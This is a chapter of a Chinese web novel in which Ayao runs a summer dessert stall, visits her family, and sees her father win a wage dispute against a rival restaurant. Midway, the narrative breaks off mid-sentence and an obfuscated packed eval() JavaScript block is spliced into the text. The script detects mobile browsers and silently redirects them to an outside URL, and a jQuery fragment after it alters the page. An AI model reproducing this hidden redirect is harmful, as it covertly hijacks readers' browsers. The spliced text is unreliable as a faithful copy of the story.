收摊回去,两个哥儿下学早,坐在院子里头练字,阿瑶归家凑过去看了几眼。
“阿姐,今日阿娘过来看我,叫我们回家吃饭。”说话的是余哥儿,他是小叔伯的儿子。
搬进屋子后,阿瑶没在回去过,省去应付家长里短那些琐事,难得落得清闲自在,现下叫她回家还有些不太乐意。
可余哥儿年纪小,需要时长去见一见爹娘,阿瑶答应下来:“明后休息,我带你们回家小住,等后日再来接你俩回来。”
将人送回家中,海氏叫住阿瑶给了她一袋吃食,拉着阿瑶手:“阿娘见你瘦了许多,这些是你姥让你舅送来的吃食,你带回去。”
“阿娘,我想着后日带你和阿爹一起去城里住,上回阿爷给的银子我又攒了些买了一座宅子。”她说的小声,几乎是贴着海氏说道。
“你阿嬷只怕不会轻易放我们离去。”海氏朝里头往了一眼,“再过几日说。”
他们未能分家,一直都是海氏心底的刺,眼下马上就要田忙,他们想要分出去也还要耽搁些时日。
阿瑶说道:“阿娘,莫怕改日我寻个由头叫你们进城,之后便不用回来,想来阿嬷也不会跑进城里叫你们回去。”
海氏点头:"今日你留在家中吃了饭再走。"
她答应海氏留在家中吃饭,只是家里的膳食同以前一样,粗面窝窝加上几个野菜,配上一碗极少出现的小炒肉。
饭桌上,阿瑶啃了口粗面窝窝和两个幼弟使眼色,象征性的吃上了几口,来前特意和两个哥儿说过回家千万不能说出在城里的吃食,否则就不带他们去了,两个弟弟年纪小,她语气凶了些,他们都怕阿瑶不带他们回去,一句多余的话都不敢乱说。
晚上阿瑶留在家中休息,屋子里头海氏打扫过,大概是知晓早上弟妹去学堂叫孩子们归家,她知道阿瑶会一道回家,提早收拾好了。
睡前,海氏进了阿瑶屋子看她,拉着她手眼红红:“阿瑶,娘希望你这辈子都好好地,将来找个好人家。”
她是心疼阿瑶生来就不被婆母喜欢,本该如花的年级非吃上比其他同龄人多上许多的苦楚。
“阿娘,您和阿爹,还有阿爷从小疼我,我必定好好的,我还想多留在你们身边多待些日子。”阿瑶只想赚很多钱,一家四口好好过。
海氏离去后,阿瑶躺在席上,满脑子都是想赚钱买铺子的念头,可手头终究还是差上一些。
隔日阿瑶打算回镇子上卖冰沙,梁文宇老早出了摊子,已经开始忙碌,阿瑶走过去调侃道:“梁老板今日出摊可真早啊!月底是该涨银了。”
她现在每日可卖一百五十碗,赚的银钱是三百文,一月可得九贯。
期间阿瑶从未休息过一日,每天起早贪黑的努力干活,生怕自己一休息后头就有酒楼将她千辛百苦得来的生意抢走。
她早上赶去东市买果子,看中一件外衫,款式和料子都不错,只是价格贵,需要五两银子才能买下,阿瑶那日弄湿衣裙得亏有梁文宇帮助,否则丢了名节可不好。
“上回多亏有你,我今天买了件衣衫,料子比不上你往日所穿,务工时穿穿还好。”她没买看中的那件外衫,实则是太贵了,阿瑶买不起,换了一件只需一两银子的衣裳。
她擦净双手从竹篮里捧出来,目光真诚透着丝笑意,拿捏不住梁文宇的身量多大,可粗粗看了眼还是能猜出来一些。
只是对方脱了外衫试上一试时,却发现袖口短了一寸,肩背部分有些小,贴着里衣太紧了。
阿瑶有些不好意思:“对不住,我估摸着你应该穿这般大的衣裳,没成想买小了,一会儿得空我在跑一趟去换一件。”
“好。”梁文宇脱下交与阿瑶,开始捣碎冰桶里的冰块。
桶里头的冰时间一长容易结块,没过一会就要用铁锥子敲一敲,否则等食客过来买时就捞不出来了。
阿瑶多买了几个西瓜堆在摊子后头树下,天气热她在下面放了个木盆里面是大冰块化掉的水,先放三个进去,等用一些再放一些。
昨日取了小竹牌的食客紧赶慢赶着来吃上一碗新鲜的西瓜炒酸奶。
可牛乳与西瓜搭配味道固然好,但做出来的炒酸奶在阿瑶认为是差上一些的,若是能将牛乳替换成椰浆是再好不过。
说起椰子,阿瑶问过东西两市所有商户,他们对其称呼为“越王头”,东市中有走南闯北的镖局,她去问过,得知琼州(海南)有此物,还问了如何获取之法。
对方告知她镖局最快走水陆两路,一路南下可将货物运回,只是越王头储存时间短,最快的路子也要两月才能到。
她只好摒弃这个念头,延续牛乳加西瓜做炒酸奶法子进行,倘若越王头(椰子)获取途径简单的话,阿瑶还是希望用此为原料制作。
但先前镖局老镖师说过,要使越王头长时间保鲜,那必须用上冰块强撑段时日,这果子烧钱,都要赶上杨贵妃吃荔枝了,这是老镖师最后一句。
阿瑶当然明白要想吃上越王头与荔枝是何等的难,而她论财力,人力都不足。
眼瞅最后一个西瓜都快用完,前头队伍只见增未见减,阿瑶使唤梁文宇去买些瓜回来,有位食客借了他们推车,买瓜回来时,有多数客人叫花楼拉走了。
阿瑶是气的没法子,毕竟她手头人少比不上花楼人手多,料子足够。
只不过自从她表现出对合作一事有些抗拒之意后,有回碰巧遇到许老大出来采买,又听闻他周边伙计说他被店家克扣工钱一事。
许老大这些天挣下的银钱明显比以往少了许多,他平时是在后厨做掌勺的,可店家忽然转变性子让他去大堂跑腿。
阿瑶劝说了几句,想让她爹出来同她一起做生意,可许老大每次在店门口瞧见阿瑶满头汗都不知疲惫的做着,他心底泛酸,怕帮不上什么忙,反而拖累了阿瑶。
她听着很不是味,许老大话语中句句不露疲惫,可句句都是。
既然许老大不愿说,阿瑶也有法
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15437440|169210||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子能得知情况,她摊子前会有周边酒楼伙计出来吃沙冰,与她关系还算不错,简单问一问就好。
当得知是花楼店家故意为难许老大,终其因果归结于阿瑶不愿与对方合作,花楼头上的人知晓阿瑶与许老大之间关系后想威胁他拉阿瑶入股。
弯弯绕绕一大堆,阿瑶算是明白对方所作所为,她只管买炒酸奶,赚足了银钱才有替她阿爹撑腰的资本。
梁文宇同在身旁,阿瑶听得话他也听得,随后抬眼望向对面花楼,目光若有所思,只是一小片刻便转移了视线。
他的举止阿瑶未能察觉,手中忙着为食客制作炒酸奶,她用料足牛乳加得多,冻好后的奶块厚实的一片片,淡红淡红。
没过一会儿功夫,花楼门前热闹的尽然跟过节一般,阿瑶专心卖着炒酸奶,根本没工夫抬头瞧上几眼,若非常来的食客叫唤,告知她,估计她还埋头苦干着。
前头吵闹之人正是被店家赶出酒楼的许老大,他心底有股子气未出,使劲吵嚷着想把大家吸引过来评评理。
阿瑶扎进人堆,挤上去,她瘦小定多只能到对方耳边踮起脚看着,全神贯注盯着前头,人群拥来拥去稍不留心就差点被挤倒,还是梁文宇放下手中活过来,眼疾手快的拉住,否则阿瑶只怕早被人踩伤。
人群中央空出一小圈,里头站着许老大,魁梧高个大嗓门,将毕生污秽话语都拿出来咒骂花楼店家黑心肝。
事情闹得沸沸扬扬有些惊动了周围巡逻的官差,他们推开人群冒出头呵斥,两人原本要训斥一阵,可瞄见人群中站着的人,开始询问其缘由。
许老大是吃亏一方,他缓缓说来。
阿瑶本要上前去替他阿爹说上一说,掌心传来的暖意与束缚,她才注意到手腕中间有大手一直将她拉住,双目相对时,她读懂了对方眼神中传递出来的含义。
梁文宇贴近阿瑶:“莫动,等官差判定。”
周围人都是寻常百姓,他们对许老大所说的那些话替他感到不值,花楼生意是所有酒楼中最好,陈设摆件也都是能在汴京里排的上号的几个。
酒楼之间的消息早已不是什么秘密,他们皆知道那花楼店家想要同阿瑶合作又不肯多让利给对方,风向一时间往许老大这边倒。
大家伙都知道地方大了,容不下人。
许老大干脆和店家撕破脸,把他内地里干的那些好事全都抖露出来,说出私下的店家让他们做沙冰时偷工减料,用料不干净,打算争个鱼死网破。
临了官差让店家赔了许老大五两银子工钱,此时就此了结。
鉴于许老大手艺好,人群还未散去时附近酒楼抢着要聘请他过去做掌厨。
阿瑶突然有些欣慰她阿爹手艺向来都是最为出色的那一个,她朝许老爹笑着招手:“阿爹,走,我带你回家。”
这句话还是许老大曾经对阿瑶说过的话。
“如今我摊子忙,您来帮我可好?”
“好,阿爹自然要多帮你些时日!”